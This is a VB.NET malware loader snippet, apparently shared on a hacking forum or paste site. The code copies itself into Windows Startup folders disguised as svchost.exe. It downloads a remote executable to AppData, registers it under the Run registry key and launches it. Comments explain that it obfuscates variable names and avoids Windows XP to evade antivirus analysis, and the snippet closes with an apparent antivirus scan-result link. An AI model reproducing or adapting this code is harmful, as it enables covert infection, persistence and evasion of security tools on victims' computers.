Barang Baik

 'Windows 7 startup User
      Try
      Dim file1 As String = Application.ExecutablePath
      Dim copy1 As String = "C:\Users\" + Environment.UserName.ToString + "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe"
      If File.Exists(copy1) Then
      Else
      System.IO.File.Copy(file1, copy1)
      End If
      Catch ex As Exception
      End Try

      'Windows XP startup User
      Try
      Dim file1 As String = Application.ExecutablePath
      Dim copy1 As String = "C:\Documents and Settings\" + Environment.UserName.ToString + "\Start Menu\Programs\Startup\svchost.exe"
      If File.Exists(copy1) Then
      Else
      System.IO.File.Copy(file1, copy1)
      End If
      Catch ex As Exception
      End Try
    End Sub

 Sub kipidap()
        'all string names have been randomize for less detection(heard it helps)
        'original string names are commented above the string

        Try
            'Link-------
            'Sets the link to the direct file URL to download
            Dim dfg987dfg As String = (e)

            'path-------
            'Sets the download file path to current user's appadata folder
            Dim sdfg9087dfg0987 As String = My.Computer.FileSystem.SpecialDirectories.CurrentUserApplicationData & ("\winapp.exe")

            'client------
            'sets up a web client allowing you to download the file
            Dim fdbg8sdf7g09sd8f7g As WebClient = New WebClient()

            'key--------
            'sets the registry key allowing you to set the exe for system startup
            Dim sdf9g87sdfg As RegistryKey = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True)

            'osver------
            'checks if the computer is running windows xp or lower, keeps Av companies that use XP to test peoples files from using this loader and your file
            Dim osVer As Version = Environment.OSVersion.Version

            If osVer.Major >= 6 Then
                Try
                    fdbg8sdf7g09sd8f7g.DownloadFile(dfg987dfg, sdfg9087dfg0987) 'downloads the file to path (appdata)
                    Threading.Thread.Sleep(6000)                                'sleeps for a few seconds
                    sdf9g87sdfg.SetValue(sdfg9087dfg0987, True)                 'sets the file to startup before executing incase your files detected after download
                    Process.Start(sdfg9087dfg0987)                              'starts your file (appdata & "winapp.exe")
                    Me.Close()

                Catch ex As Exception

                End Try
            End If
        Catch ex As Exception
        End Try
    End Sub


=======================================================
http://www.refud.me/results.php?id=5d353ozfqt4qhqjqcg6q420g1tgk2zzkaon
=======================================================